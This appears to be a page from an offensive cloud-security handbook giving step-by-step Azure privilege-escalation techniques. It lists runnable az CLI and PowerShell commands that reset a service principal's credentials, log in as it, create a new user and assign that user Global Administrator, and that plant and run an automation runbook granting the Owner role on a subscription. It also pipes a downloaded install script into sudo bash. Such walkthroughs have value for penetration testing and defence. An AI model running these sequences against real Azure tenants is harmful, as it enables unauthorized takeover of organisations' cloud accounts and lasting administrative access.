Privilege Escalation

We can escalate privileges in Azure environment by abusing mis-configurations.

Local System Based Privilege Escalation

Operating System based privilege escalation technique (Linux & Windows)

Cloud Service Based Privilege Escalation

IAM Based (Azure AD Roles and ARM RBAC)

- AZ CLI Downloading in VM

If you have control over an Azure VM, you can download az cli on virtual machine and enumerate permission:

curl -SL https://aka.ms/InstallAzureCLIDeb | sudo bash

az login --identity

az role assignment list --assignee {Assignee ID 1} --all

az automation account list

az identity list

az role assignment list --assignee {Assignee ID 2} --all

- Service Principal Privilege Escalation

This technique involves exploiting a service principal with higher privileges to create a new user with global admin permissions in the Azure AD tenant. It includes resetting the service principal's credentials, logging in as the service principal, creating a new user, and assigning the global admin role to the new user.

First, verify if any service principal has high-level roles such as Owner or Contributor:

az ad sp list --query '[].{DisplayName:displayName, AppId:appId, Roles:appRoles}' --output table

Now, check Service Principal Permissions and if the role assignments include high-level permissions such as Owner or Contributor, it indicates that you have sufficient privileges to perform the privilege escalation.

To start the privesc, reset Service Principal Credential:

az ad sp credential reset --id <app_id>

List Service Principal Credentials:

az ad sp credential list --id <app_id>

Login as Service Principal:

az login --service-principal -u "<app_id>" -p "<password>" --tenant <tenant_id> --allow-no-subscriptions

Create a New User:

az ad user create --display-name "<display_name>" --password "<password>" --user-principal-name "<full_upn>"

Add User to Global Admin Group via MS Graph API:

$Body="{'principalId':'<User_Object_ID>', 'roleDefinitionId': '62e90394-69f5-4237-9190-012177145e10', 'directoryScopeId': '/'}"

az rest --method POST --uri https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments --headers "Content-Type=application/json" --body $Body

Non IAM Based

- Updating automation account runbook code

This technique involves updating the code within an Azure Automation runbook to execute privileged actions. This does not directly modify IAM roles or permissions but leverages the existing permissions of the automation account to escalate privileges indirectly.

First, list Automation Accounts:

az automation account list --resource-group "{Resource Group Name}"

Then, list Runbooks in an Automation Account:

az automation runbook list --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}"

Now, Create a ps1 script to escalate privileges by assigning the Owner role to a specific object ID:

try {
    Write-Output "Logging in to Azure..."
    Connect-AzAccount -Identity
} catch {
    Write-Error -Message $_.Exception
    throw $_.Exception
}

try {
    Write-Output "Assigning Owner role to the specified object ID..."
    New-AzRoleAssignment -ObjectId "{Object ID}" -RoleDefinitionName Owner -Scope "/subscriptions/{Subscription ID}"
    Write-Output "Role assignment successful."
} catch {
    Write-Error -Message $_.Exception
    throw $_.Exception
}

Now, creates a new runbook:

az automation runbook create --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "privescrunbook" --type "PowerShell" --location "East US"

Replace the runbook content with the previous script that performs privileged actions:

az automation runbook replace-content --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "privescrunbook" --content @/home/devuser/privesc.ps1

Publish it to ensure the runbook can be run, thus allowing any privileged code it contains to be executed:

az automation runbook publish --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "privescrunbook"

Displays details about the runbook to ensure that the correct script has been uploaded and published:

az automation runbook show --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "privescrunbook"

Finally, invoke the runbook and execute the code inside it:

az automation runbook start --automation-account-name "{Automation Account Name}" --resource-group "{Resource Group Name}" --name "privescrunbook"

Last updated